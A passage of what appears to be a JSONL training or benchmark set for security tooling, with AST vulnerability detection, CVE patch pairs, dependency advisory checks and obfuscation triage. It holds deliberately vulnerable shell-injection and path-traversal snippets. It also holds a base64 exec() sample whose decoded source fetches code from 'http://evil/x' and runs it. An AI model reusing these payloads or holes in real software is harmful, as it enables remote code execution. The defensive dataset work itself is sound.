\".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"Command\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"sh\",\n \"ast_node\": \"interpreted_string_literal_content\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \"-c\",\n \"ast_node\": \"interpreted_string_literal_content\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 33\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 36\n },\n {\n \"token\": \"ping -c 1 \",\n \"ast_node\": \"interpreted_string_literal_content\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 47\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 48\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 53\n }\n ],\n \"explanation\": \"User input is concatenated into a shell -c command, allowing injection.\",\n \"remediation\": \"Avoid shell invocation; pass arguments as an array to exec APIs and validate/allow-list inputs.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-476", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "struct key *key_get_instantiation_authkey(key_serial_t target_id)\n{\n\tchar description[16];\n\tstruct keyring_search_context ctx = {\n \t\t.index_key.type\t\t= &key_type_request_key_auth,\n \t\t.index_key.description\t= description,\n \t\t.cred\t\t\t= current_cred(),\n\t\t.match_data.cmp\t\t= user_match,\n \t\t.match_data.raw_data\t= description,\n \t\t.match_data.lookup_type\t= KEYRING_SEARCH_LOOKUP_DIRECT,\n \t};\n\tstruct key *authkey;\n\tkey_ref_t authkey_ref;\n\n\tsprintf(description, \"%x\", target_id);\n\n\tauthkey_ref = search_process_keyrings(&ctx);\n\n\tif (IS_ERR(authkey_ref)) {\n\t\tauthkey = ERR_CAST(authkey_ref);\n\t\tif (authkey == ERR_PTR(-EAGAIN))\n\t\t\tauthkey = ERR_PTR(-ENOKEY);\n\t\tgoto error;\n\t}\n\n\tauthkey = key_ref_to_ptr(authkey_ref);\n\tif (test_bit(KEY_FLAG_REVOKED, &authkey->flags)) {\n\t\tkey_put(authkey);\n\t\tauthkey = ERR_PTR(-EKEYREVOKED);\n\t}\n\nerror:\n\treturn authkey;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"cve\": \"CVE-2017-2647\",\n \"fixed_code\": \"struct key *key_get_instantiation_authkey(key_serial_t target_id)\\n{\\n\\tchar description[16];\\n\\tstruct keyring_search_context ctx = {\\n \\t\\t.index_key.type\\t\\t= &key_type_request_key_auth,\\n \\t\\t.index_key.description\\t= description,\\n \\t\\t.cred\\t\\t\\t= current_cred(),\\n\\t\\t.match_data.cmp\\t\\t= key_default_cmp,\\n \\t\\t.match_data.raw_data\\t= description,\\n \\t\\t.match_data.lookup_type\\t= KEYRING_SEARCH_LOOKUP_DIRECT,\\n \\t};\\n\\tstruct key *authkey;\\n\\tkey_ref_t authkey_ref;\\n\\n\\tsprintf(description, \\\"%x\\\", target_id);\\n\\n\\tauthkey_ref = search_process_keyrings(&ctx);\\n\\n\\tif (IS_ERR(authkey_ref)) {\\n\\t\\tauthkey = ERR_CAST(authkey_ref);\\n\\t\\tif (authkey == ERR_PTR(-EAGAIN))\\n\\t\\t\\tauthkey = ERR_PTR(-ENOKEY);\\n\\t\\tgoto error;\\n\\t}\\n\\n\\tauthkey = key_ref_to_ptr(authkey_ref);\\n\\tif (test_bit(KEY_FLAG_REVOKED, &authkey->flags)) {\\n\\t\\tkey_put(authkey);\\n\\t\\tauthkey = ERR_PTR(-EKEYREVOKED);\\n\\t}\\n\\nerror:\\n\\treturn authkey;\\n}\\n\",\n \"change_summary\": \"KEYS: Remove key_type::match in favour of overriding default by match_preparse\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: plone\nInstalled version: <4.3b1\nSummary: z3c.form, as used in Plone before 4.2.3 and 4.3 before beta 1, allows remote attackers to obtain the default form field values by leveraging knowledge of the form location and the element id.", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2014-33\",\n \"cve\": \"CVE-2012-5491\",\n \"aliases\": [\n \"CVE-2012-5491\",\n \"GHSA-f8pg-wp5j-rjxx\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"plone\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <4.3b1\",\n \"fixed_version\": \"4.3b1\",\n \"finding\": \"z3c.form, as used in Plone before 4.2.3 and 4.3 before beta 1, allows remote attackers to obtain the default form field values by leveraging knowledge of the form location and the element id.\",\n \"remediation\": \"Upgrade plone to 4.3b1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: chromium\nInstalled version: 153.0.8010.52-1~deb12u1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"chromium\",\n \"installed_version\": \"153.0.8010.52-1~deb12u1\",\n \"note\": \"chromium 153.0.8010.52-1~deb12u1 is at or above the fixed version for DEBIAN-CVE-2026-91709; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void esp6_err(struct sk_buff *skb, struct inet6_skb_parm *opt,\n\t\t int type, int code, int offset, __be32 info)\n{\n\tstruct ipv6hdr *iph = (struct ipv6hdr*)skb->data;\n\tstruct ip_esp_hdr *esph = (struct ip_esp_hdr *)(skb->data + offset);\n\tstruct xfrm_state *x;\n\n\tif (type != ICMPV6_DEST_UNREACH &&\n\t type != ICMPV6_PKT_TOOBIG)\n\t\treturn;\n\n\tx = xfrm_state_lookup((xfrm_address_t *)&iph->daddr, esph->spi, IPPROTO_ESP, AF_INET6);\n\tif (!x)\n\t\treturn;\n\tprintk(KERN_DEBUG \"pmtu discovery on SA ESP/%08x/\" NIP6_FMT \"\\n\",\n\t\t\tntohl(esph->spi), NIP6(iph->daddr));\n\txfrm_state_put(x);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-918", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: torchserve\nInstalled version: 0.1.0\nSummary: TorchServe Server-Side Request Forgery vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-8fxr-qfr9-p34w\",\n \"cve\": \"CVE-2023-43654\",\n \"aliases\": [\n \"CVE-2023-43654\",\n \"PYSEC-2026-553\"\n ],\n \"cwe\": \"CWE-918\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"torchserve\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=0.1.0, <0.8.2\",\n \"fixed_version\": \"0.8.2\",\n \"finding\": \"TorchServe Server-Side Request Forgery vulnerability\",\n \"remediation\": \"Upgrade torchserve to 0.8.2 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: cacti\nInstalled version: <1.2.1+ds1-1\nSummary: Cacti 1.1.38 allows authenticated users with User Management permissions to inject arbitrary web script or HTML in the \"new_username\" field during creation of a new user via \"Copy\" method at user_admi...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2021-23225\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"cacti\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.2.1+ds1-1\",\n \"fixed_version\": \"1.2.1+ds1-1\",\n \"finding\": \"Cacti 1.1.38 allows authenticated users with User Management permissions to inject arbitrary web script or HTML in the \\\"new_username\\\" field during creation of a new user via \\\"Copy\\\" method at user_admi...\",\n \"remediation\": \"Upgrade cacti to 1.2.1+ds1-1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int fcntl_dirnotify(int fd, struct file *filp, unsigned long arg)\n{\n\tstruct dnotify_struct *dn;\n\tstruct dnotify_struct *odn;\n\tstruct dnotify_struct **prev;\n\tstruct inode *inode;\n\tfl_owner_t id = current->files;\n\tstruct file *f;\n\tint error = 0;\n\n\tif ((arg & ~DN_MULTISHOT) == 0) {\n\t\tdnotify_flush(filp, id);\n\t\treturn 0;\n\t}\n\tif (!dir_notify_enable)\n\t\treturn -EINVAL;\n\tinode = filp->f_path.dentry->d_inode;\n\tif (!S_ISDIR(inode->i_mode))\n\t\treturn -ENOTDIR;\n\tdn = kmem_cache_alloc(dn_cache, GFP_KERNEL);\n\tif (dn == NULL)\n\t\treturn -ENOMEM;\n\tspin_lock(&inode->i_lock);\n\tprev = &inode->i_dnotify;\n\twhile ((odn = *prev) != NULL) {\n\t\tif ((odn->dn_owner == id) && (odn->dn_filp == filp)) {\n\t\t\todn->dn_fd = fd;\n\t\t\todn->dn_mask |= arg;\n\t\t\tinode->i_dnotify_mask |= arg & ~DN_MULTISHOT;\n\t\t\tgoto out_free;\n\t\t}\n\t\tprev = &odn->dn_next;\n\t}\n\n\trcu_read_lock();\n\tf = fcheck(fd);\n\trcu_read_unlock();\n\t/* we'd lost the race with close(), sod off silently */\n\t/* note that inode->i_lock prevents reordering problems\n\t * between accesses to descriptor table and ->i_dnotify */\n\tif (f != filp)\n\t\tgoto out_free;\n\n\terror = __f_setown(filp, task_pid(current), PIDTYPE_PID, 0);\n\tif (error)\n\t\tgoto out_free;\n\n\tdn->dn_mask = arg;\n\tdn->dn_fd = fd;\n\tdn->dn_filp = filp;\n\tdn->dn_owner = id;\n\tinode->i_dnotify_mask |= arg & ~DN_MULTISHOT;\n\tdn->dn_next = inode->i_dnotify;\n\tinode->i_dnotify = dn;\n\tspin_unlock(&inode->i_lock);\n\n\tif (filp->f_op && filp->f_op->dir_notify)\n\t\treturn filp->f_op->dir_notify(filp, arg);\n\treturn 0;\n\nout_free:\n\tspin_unlock(&inode->i_lock);\n\tkmem_cache_free(dn_cache, dn);\n\treturn error;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: chromium\nInstalled version: 87.0.4280.88-0.1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"chromium\",\n \"installed_version\": \"87.0.4280.88-0.1\",\n \"note\": \"chromium 87.0.4280.88-0.1 is at or above the fixed version for DEBIAN-CVE-2020-6525; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-22", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Analyze this python snippet at the AST level. Find the data-flow sink that introduces a vulnerability, map the tainted tokens to their AST node types, and return the detection result as JSON.", "input": "def read():\n value = sys.argv[1]\n with open('/srv/files/' + value) as f:\n return f.read()\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-22\",\n \"cwe_name\": \"Path Traversal\",\n \"title\": \"Path traversal in open()\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"with_statement\",\n \"with_clause\",\n \"with_item\",\n \"as_pattern\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"open\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 13\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_start\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"/srv/files/\",\n \"ast_node\": \"string_content\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_end\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 35\n }\n ],\n \"explanation\": \"A user-controlled filename is concatenated to a base dir without validation.\",\n \"remediation\": \"Canonicalize the path and verify it stays within an allow-listed base directory.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static struct mnt_namespace *dup_mnt_ns(struct mnt_namespace *mnt_ns,\n\t\tstruct user_namespace *user_ns, struct fs_struct *fs)\n{\n\tstruct mnt_namespace *new_ns;\n\tstruct vfsmount *rootmnt = NULL, *pwdmnt = NULL;\n\tstruct mount *p, *q;\n\tstruct mount *old = mnt_ns->root;\n\tstruct mount *new;\n\tint copy_flags;\n\n\tnew_ns = alloc_mnt_ns(user_ns);\n\tif (IS_ERR(new_ns))\n\t\treturn new_ns;\n\n\tdown_write(&namespace_sem);\n \t/* First pass: copy the tree topology */\n \tcopy_flags = CL_COPY_ALL | CL_EXPIRE;\n \tif (user_ns != mnt_ns->user_ns)\n\t\tcopy_flags |= CL_SHARED_TO_SLAVE;\n \tnew = copy_tree(old, old->mnt.mnt_root, copy_flags);\n \tif (IS_ERR(new)) {\n \t\tup_write(&namespace_sem);\n\t\tfree_mnt_ns(new_ns);\n\t\treturn ERR_CAST(new);\n\t}\n\tnew_ns->root = new;\n\tbr_write_lock(&vfsmount_lock);\n\tlist_add_tail(&new_ns->list, &new->mnt_list);\n\tbr_write_unlock(&vfsmount_lock);\n\n\t/*\n\t * Second pass: switch the tsk->fs->* elements and mark new vfsmounts\n\t * as belonging to new namespace. We have already acquired a private\n\t * fs_struct, so tsk->fs->lock is not needed.\n\t */\n\tp = old;\n\tq = new;\n\twhile (p) {\n\t\tq->mnt_ns = new_ns;\n\t\tif (fs) {\n\t\t\tif (&p->mnt == fs->root.mnt) {\n\t\t\t\tfs->root.mnt = mntget(&q->mnt);\n\t\t\t\trootmnt = &p->mnt;\n\t\t\t}\n\t\t\tif (&p->mnt == fs->pwd.mnt) {\n\t\t\t\tfs->pwd.mnt = mntget(&q->mnt);\n\t\t\t\tpwdmnt = &p->mnt;\n\t\t\t}\n\t\t}\n\t\tp = next_mnt(p, old);\n\t\tq = next_mnt(q, new);\n\t}\n\tup_write(&namespace_sem);\n\n\tif (rootmnt)\n\t\tmntput(rootmnt);\n\tif (pwdmnt)\n\t\tmntput(pwdmnt);\n\n\treturn new_ns;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-1957\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 19\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 18,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 18,\n \"col\": 5\n },\n {\n \"token\": \"user_ns\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 6\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 18,\n \"col\": 14\n },\n {\n \"token\": \"mnt_ns\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 17\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 18,\n \"col\": 23\n },\n {\n \"token\": \"user_ns\",\n \"ast_node\": \"field_identifier\",\n \"line\": 18,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 18,\n \"col\": 32\n },\n {\n \"token\": \"copy_flags\",\n \"ast_node\": \"identifier\",\n \"line\": 19,\n \"col\": 2\n },\n {\n \"token\": \"|=\",\n \"ast_node\": \"|=\",\n \"line\": 19,\n \"col\": 13\n },\n {\n \"token\": \"CL_SHARED_TO_SLAVE\",\n \"ast_node\": \"identifier\",\n \"line\": 19,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 19,\n \"col\": 34\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static uint32_t cirrus_linear_readw(void *opaque, target_phys_addr_t addr)\n{\n uint32_t v;\n#ifdef TARGET_WORDS_BIGENDIAN\n v = cirrus_linear_readb(opaque, addr) << 8;\n v |= cirrus_linear_readb(opaque, addr + 1);\n#else\n v = cirrus_linear_readb(opaque, addr);\n v |= cirrus_linear_readb(opaque, addr + 1) << 8;\n#endif\n return v;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static inline int is_no_ws_ctl(char ch)\n{\n if ((ch == 9) || (ch == 10) || (ch == 13))\n return FALSE;\n\n if (ch == 127)\n return TRUE;\n\n return (ch >= 1) && (ch <= 31);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"libetpan\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int cypress_generic_port_probe(struct usb_serial_port *port)\n{\n \tstruct usb_serial *serial = port->serial;\n \tstruct cypress_private *priv;\n \n \tpriv = kzalloc(sizeof(struct cypress_private), GFP_KERNEL);\n \tif (!priv)\n \t\treturn -ENOMEM;\n\n\tpriv->comm_is_ok = !0;\n\tspin_lock_init(&priv->lock);\n\tif (kfifo_alloc(&priv->write_fifo, CYPRESS_BUF_SIZE, GFP_KERNEL)) {\n\t\tkfree(priv);\n\t\treturn -ENOMEM;\n\t}\n\n\t/* Skip reset for FRWD device. It is a workaound:\n\t device hangs if it receives SET_CONFIGURE in Configured\n\t state. */\n\tif (!is_frwd(serial->dev))\n\t\tusb_reset_configuration(serial->dev);\n\n\tpriv->cmd_ctrl = 0;\n\tpriv->line_control = 0;\n\tpriv->termios_initialized = 0;\n\tpriv->rx_flags = 0;\n\t/* Default packet format setting is determined by packet size.\n\t Anything with a size larger then 9 must have a separate\n\t count field since the 3 bit count field is otherwise too\n\t small. Otherwise we can use the slightly more compact\n\t format. This is in accordance with the cypress_m8 serial\n\t converter app note. */\n\tif (port->interrupt_out_size > 9)\n\t\tpriv->pkt_fmt = packet_format_1;\n\telse\n\t\tpriv->pkt_fmt = packet_format_2;\n\n\tif (interval > 0) {\n\t\tpriv->write_urb_interval = interval;\n\t\tpriv->read_urb_interval = interval;\n\t\tdev_dbg(&port->dev, \"%s - read & write intervals forced to %d\\n\",\n\t\t\t__func__, interval);\n\t} else {\n\t\tpriv->write_urb_interval = port->interrupt_out_urb->interval;\n\t\tpriv->read_urb_interval = port->interrupt_in_urb->interval;\n\t\tdev_dbg(&port->dev, \"%s - intervals: read=%d write=%d\\n\",\n\t\t\t__func__, priv->read_urb_interval,\n\t\t\tpriv->write_urb_interval);\n\t}\n\tusb_set_serial_port_data(port, priv);\n\n\tport->port.drain_delay = 256;\n\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-3137\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "obfuscation_handling", "language": "python", "cwe": "CWE-94", "source": "generated obfuscated payloads (real encodings)", "instruction": "You are a malware/obfuscation triage engine. The following Python code may be obfuscated. Determine whether it is obfuscated, deobfuscate what you can, recover the true behavior, and report as JSON following safe-handling policy.", "input": "import base64\nexec(base64.b64decode(\"aW1wb3J0IHVybGxpYi5yZXF1ZXN0LG9zO29zLnN5c3RlbSh1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwOi8vZXZpbC94JykucmVhZCgpKQ==\"))\n", "output": "{\n \"obfuscated\": true,\n \"language\": \"python\",\n \"techniques\": [\n \"base64 blob\",\n \"exec(base64.b64decode(...)) runs the decoded code\"\n ],\n \"statically_recoverable\": true,\n \"deobfuscation_steps\": [\n \"identify the encoded literal\",\n \"decode it (base64/hex/char-codes) offline, without executing\",\n \"re-run static analysis on the recovered source\"\n ],\n \"recovered_source\": \"import urllib.request,os;os.system(urllib.request.urlopen('http://evil/x').read())\",\n \"recovered_behavior\": \"fetches and runs a remote payload (staged RCE)\",\n \"verdict\": \"malicious\",\n \"cwe\": \"CWE-94\",\n \"severity\": \"critical\",\n \"recommended_handling\": \"deobfuscate-then-analyze; block and quarantine; never execute outside a sandbox\",\n \"policy_note\": \"Obfuscation is itself a risk signal: never classify obfuscated input as clean. Decode what is statically recoverable and analyze the recovered code; if it cannot be recovered statically, escalate to dynamic/sandbox analysis.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.1.90-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: amdkfd: use calloc instead of kzalloc to avoid integer overflow This uses calloc instead of doing the multiplication which might o...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2024-26817\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.1.90-1\",\n \"fixed_version\": \"6.1.90-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: amdkfd: use calloc instead of kzalloc to avoid integer overflow This uses calloc instead of doing the multiplication which might o...\",\n \"remediation\": \"Upgrade linux to 6.1.90-1 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": null, "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (a known CWE). Produce the patched version and explain the fix. Output JSON.", "input": "static ssize_t ext4_ext_direct_IO(int rw, struct kiocb *iocb,\n\t\t\t const struct iovec *iov, loff_t offset,\n\t\t\t unsigned long nr_segs)\n{\n\tstruct file *file = iocb->ki_filp;\n\tstruct inode *inode = file->f_mapping->host;\n\tssize_t ret;\n\tsize_t count = iov_length(iov, nr_segs);\n\n\tloff_t final_size = offset + count;\n\tif (rw == WRITE && final_size <= inode->i_size) {\n\t\t/*\n \t\t * We could direct write to holes and fallocate.\n\t\t *\n \t\t * Allocated blocks to fill the hole are marked as uninitialized\n \t\t * to prevent paralel buffered read to expose the stale data\n \t\t * before DIO complete the data IO.\n\t\t *\n \t\t * As to previously fallocated extents, ext4 get_block\n \t\t * will just simply mark the buffer mapped but still\n \t\t * keep the extents uninitialized.\n \t\t *\n\t\t * for non AIO case, we will convert those unwritten extents\n\t\t * to written after return back from blockdev_direct_IO.\n\t\t *\n\t\t * for async DIO, the conversion needs to be defered when\n\t\t * the IO is completed. The ext4 end_io callback function\n\t\t * will be called to take care of the conversion work.\n\t\t * Here for async case, we allocate an io_end structure to\n\t\t * hook to the iocb.\n \t\t */\n \t\tiocb->private = NULL;\n \t\tEXT4_I(inode)->cur_aio_dio = NULL;\n \t\tif (!is_sync_kiocb(iocb)) {\n\t\t\tiocb->private = ext4_init_io_end(inode);\n \t\t\tif (!iocb->private)\n \t\t\t\treturn -ENOMEM;\n \t\t\t/*\n\t\t\t * we save the io structure for current async\n\t\t\t * direct IO, so that later ext4_get_blocks()\n\t\t\t * could flag the io structure whether there\n\t\t\t * is a unwritten extents needs to be converted\n\t\t\t * when IO is completed.\n\t\t\t */\n\t\t\tEXT4_I(inode)->cur_aio_dio = iocb->private;\n\t\t}\n\n\t\tret = blockdev_direct_IO(rw, iocb, inode,\n\t\t\t\t\t inode->i_sb->s_bdev, iov,\n\t\t\t\t\t offset, nr_segs,\n\t\t\t\t\t ext4_get_block_write,\n\t\t\t\t\t ext4_end_io_dio);\n\t\tif (iocb->private)\n\t\t\tEXT4_I(inode)->cur_aio_dio = NULL;\n\t\t/*\n\t\t * The io_end structure takes a reference to the inode,\n\t\t * that structure needs to be destroyed and the\n\t\t * reference to the inode need to be dropped, when IO is\n\t\t * complete, even with 0 byte write, or failed.\n\t\t *\n\t\t * In the successful AIO DIO case, the io_end structure will be\n\t\t * desctroyed and the reference to the inode will be dropped\n\t\t * after the end_io call back function is called.\n\t\t *\n\t\t * In the case there is 0 byte write, or error case, since\n\t\t * VFS direct IO won't invoke the end_io call back function,\n\t\t * we need to free the end_io structure here.\n\t\t */\n\t\tif (ret != -EIOCBQUEUED && ret <= 0 && iocb->private) {\n\t\t\text4_free_io_end(iocb->private);\n\t\t\tiocb->private = NULL;\n\t\t} else if (ret > 0 && ext4_test_inode_state(inode,\n\t\t\t\t\t\tEXT4_STATE_DIO_UNWRITTEN)) {\n\t\t\tint err;\n\t\t\t/*\n\t\t\t * for non AIO case, since the IO is already\n\t\t\t * completed, we could do the convertion right here\n\t\t\t */\n\t\t\terr = ext4_convert_unwritten_extents(inode,\n\t\t\t\t\t\t\t offset, ret);\n\t\t\tif (err < 0)\n\t\t\t\tret = err;\n\t\t\text4_clear_inode_state(inode, EXT4_STATE_DIO_UNWRITTEN);\n\t\t}\n\t\treturn ret;\n\t}\n\n\t/* for write the the end of file case, we fall back to old way */\n\treturn ext4_ind_direct_IO(rw, iocb, iov, offset, nr_segs);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"cve\": \"CVE-2015-8324\",\n \"fixed_code\": \"static ssize_t 